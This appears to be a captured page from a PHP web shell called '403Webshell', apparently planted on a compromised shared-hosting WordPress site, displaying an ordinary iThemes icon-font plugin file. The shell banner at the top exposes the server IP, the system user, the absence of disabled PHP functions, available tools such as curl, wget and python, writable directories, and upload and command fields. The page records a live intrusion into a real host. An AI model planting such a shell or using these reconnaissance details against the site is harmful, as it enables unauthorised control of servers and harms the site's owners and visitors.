403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.218.137.145
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/mobilecreationz.com/wp-content/plugins/better-wp-security/lib/icon-fonts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/mobilecreationz.com/wp-content/plugins/better-wp-security/lib/icon-fonts/init.php
<?php
/**
 * Custom Icons for iThemes Products
 *
 * @package icon-fonts
 * @author iThemes
 * @version 1.2.0
*/

if ( ! function_exists( 'it_icon_font_admin_enueue_scripts' ) ) {
	function it_icon_font_admin_enueue_scripts() {
		if ( version_compare( $GLOBALS['wp_version'], '3.7.10', '>=' ) ) {
			$dir = str_replace( '\\', '/', dirname( __FILE__ ) );

			$content_dir = rtrim( str_replace( '\\', '/', WP_CONTENT_DIR ), '/' );
			$abspath = rtrim( str_replace( '\\', '/', ABSPATH ), '/' );

			if ( empty( $content_dir ) || ( 0 === strpos( $dir, $content_dir ) ) ) {
				$url = WP_CONTENT_URL . str_replace( '\\', '/', preg_replace( '/^' . preg_quote( $content_dir, '/' ) . '/', '', $dir ) );
			} else if ( empty( $abspath ) || ( 0 === strpos( $dir, $abspath ) ) ) {
				$url = get_option( 'siteurl' ) . str_replace( '\\', '/', preg_replace( '/^' . preg_quote( $abspath, '/' ) . '/', '', $dir ) );
			}

			if ( empty( $url ) ) {
				$dir = realpath( $dir );

				if ( empty( $content_dir ) || ( 0 === strpos( $dir, $content_dir ) ) ) {
					$url = WP_CONTENT_URL . str_replace( '\\', '/', preg_replace( '/^' . preg_quote( $content_dir, '/' ) . '/', '', $dir ) );
				} else if ( empty( $abspath ) || ( 0 === strpos( $dir, $abspath ) ) ) {
					$url = get_option( 'siteurl' ) . str_replace( '\\', '/', preg_replace( '/^' . preg_quote( $abspath, '/' ) . '/', '', $dir ) );
				}
			}

			if ( is_ssl() ) {
				$url = preg_replace( '|^http://|', 'https://', $url );
			} else {
				$url = preg_replace( '|^https://|', 'http://', $url );
			}


			wp_enqueue_style( 'ithemes-icon-font', "$url/icon-fonts.css" );
		}
	}
	add_action( 'admin_enqueue_scripts', 'it_icon_font_admin_enueue_scripts' );
}

Youez - 2016 - github.com/yon3zu
LinuXploit